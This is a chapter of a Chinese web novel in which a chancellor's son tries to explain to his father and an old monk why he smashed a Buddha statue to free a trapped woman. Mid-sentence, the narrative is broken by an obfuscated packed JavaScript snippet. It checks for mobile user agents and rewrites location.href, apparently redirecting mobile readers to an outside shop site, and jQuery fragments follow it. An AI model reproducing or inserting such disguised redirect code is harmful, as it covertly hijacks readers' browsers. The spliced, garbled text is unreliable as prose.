不姓刘?姓项?
刘全脸上的笑容瞬间僵住,整个人都懵在了原地。
他刚才还笃定这老僧是家中长辈,连隔辈亲的说辞都想好了,结果,自己整岔劈了!
好一会儿,他才僵硬的扭过头,看向一旁的刘忠,眼底带着几分窘迫,小声问道。
“爹……这位大师,他真不是咱家长辈啊?”
刘忠被气得胸口发闷,却碍于老和尚在场,不敢发作,只能咬牙低声呵斥。
“混账东西!还敢胡说!还不快给太上……大师赔罪!”
太上大师?
这个法号似乎挺牛逼啊!
刘全满脸讪讪的挠了挠头,对老和尚拱了拱手。
“那个,太上大师,不好意思啊,我给弄错了!”
“即便您不是家中长辈,但论辈分论年纪,也是我的长辈。您大人有大量,肯定不会跟我这种晚辈计较,对吧?”
听到刘全口中的称呼,老和尚和刘忠眼底都不由得一跳。
这小子,也太能扯了吧?
竟然能把这当成法号?
最后,还是老和尚摆了摆手。
“老衲法号玄羽,今日前来,是为了禅理一事。”
“虽然你方才那句‘佛在心中,不在表面’,有着几分通透之意。但禅理佛法从不是随口妄谈,毁像斥佛更是触犯众怒!”
“若是你今日所言,不让老衲心服口服,刘忠,那你便要按规矩严加看管,绝不能姑息!”
听到老和尚这般言语,刘忠连忙躬身点头。
“大师放心,若这逆子所言,不能让您满意。忠定会在他身上,抽断两根藤杖!”
此话一出,刘全眼底一阵抽搐。
**!
抽断两根藤杖?
这么狠?
这分明是冲着要他命来的啊!
他爹先是态度恭敬的伺候一旁,陪说陪笑,现在又是要重罚他。
这老和尚究竟是什么身份啊?
就算是老泰山来了,也不至于这么卑微吧。
难不成,这位……是亲爹?
可对方明明姓项,他爹姓刘啊!
怎么也扯不到一起去!
除非……他爹是私……
这个念想一经冒出,就再也压不下去。
尤其是再看二人眉眼间,越看越觉得有几分相似!
他猜的,应该没错!
而且,项可是国姓啊!
再看这老和尚的态度,指不定就是皇亲国戚!
怪不得,他爹能够从一介寒门,一路进入朝堂,最后更是登上宰相之位,权倾朝野!
原来,还有这层身份啊!
这么一来,那他刘全,岂不也算是皇亲国戚了?
**!
本以为穿越成宰相独子,就已经够牛逼了。
没想到,这背后,竟然还隐藏着这么大的秘密啊!
要是他真有心去争一争,指不定,那大宝之位,他都有那机会去坐上一坐呢!
眼见刘全面上从开始的疑惑,到后来的古怪,最后更是眼底飞扬,刘忠的面上一阵发青。
当即,他冷哼一声,眼底满是厉色。
“逆子!为父的话听到没有?玄羽大师问你什么,你就必须老实回答!”
“但凡有半句敷衍隐瞒,为父定会藤杖伺候,听清楚了吗?”
“是是是!”刘全回过神,连忙点头应下。
“爹,我保证,这位大师问什么,我就答什么,绝不会有丝毫隐瞒!”
这可是亲爷爷,只要把他哄开心了,到时候,他爹的藤杖,还能落到他身上?
只要朝爷爷身后一钻,指不定,那藤杖就能掉个个,落到他爹身上呢!
一想到他爹一大把年纪了,还会被他爹的爹用藤杖抽,刘全就一阵暗喜。
见刘全这般模样,刘忠虽然感到有些疑惑,但也没多问,恭敬的看向老和尚。
“玄羽大师,请问话便是。”
老和尚闻言,也不多做客套,直接开口问道。
“你三日前,确实从佛像中救出了被困女子,但这并不是你毁佛的理由。”
“那佛像密闭严实,两日之内,众多僧众和香客前往大殿礼佛,都未曾听到女子的呼救。”
“怎么你一去,就直接砸了佛像,将人救出?”
“这究竟是机缘巧合,还是你早有预谋,借着救人的由头,砸了佛像,顺带博取名声?”
听
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434958|200964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到老和尚的质问,刘全面上一阵发愣。
他早有预谋?
他就是单纯去拜一拜,去去晦气的,能有什么预谋?
还有,他闲得蛋疼,才去博取名声!
要是谁能帮他把名声给毁了,他能感谢对方八辈祖宗!
可现在的情况下,这种事,他怎么能说出口?
别老和尚这边还没糊弄过去,他爹那边就该动手,要打断几根藤杖了!
见刘全面色变幻,迟迟不说话,老和尚眼底闪过一丝疑色。
“怎么,答不上来?”
“还是说,你根本就是心怀不轨,被老衲说中了心事?”
说着,他目光转向一旁的刘忠,缓缓开口。
“刘忠,你刚才说,要打断几根藤杖来着?”
刘全闻言,身上顿时一阵发凉。
**!
你这老家伙,怎么这么狠?
我可是你亲孙子啊!
要让我爹把我打坏了,你可就**了!
当即,刘全连忙开口解释。
“玄羽大师息怒!那个,这件事,并非我不想说。”
“只是,它听起来,有些匪夷所思。我是怕您会觉得我在骗您。”
一旁的刘忠听到这话,心底不禁一动。
这逆子,该不会是想……
老和尚却是眉头一挑,眼底带着几分好奇。
“说来听听,真与假,老衲自会分辨!”
见老和尚这般模样,刘全好似做了什么决定,一咬牙,说了起来。
“其实,我是做了个梦。”
“梦里,我与一名女子相交甚欢,正要相约出游,突然冲出一群蒙面歹人,强行将她掳走。”
“我拼命地去追,可怎么也追不上。最后只记得一处飞檐,还有一尊巨大的佛像。隐隐的,还能听到一阵哭泣声。”
“我爹曾说过,他曾与一同窗定过一门娃娃亲。而且,那名女子的模样,与我爹的描述相差无几。”
“所以,我费劲心思,才算是在大慈恩寺见到那尊佛像,将她救了出来。”
“至于大师您说的,别人听不到呼救声,唯有我能听到,或许,这就是上天冥冥中注定的缘分吧。”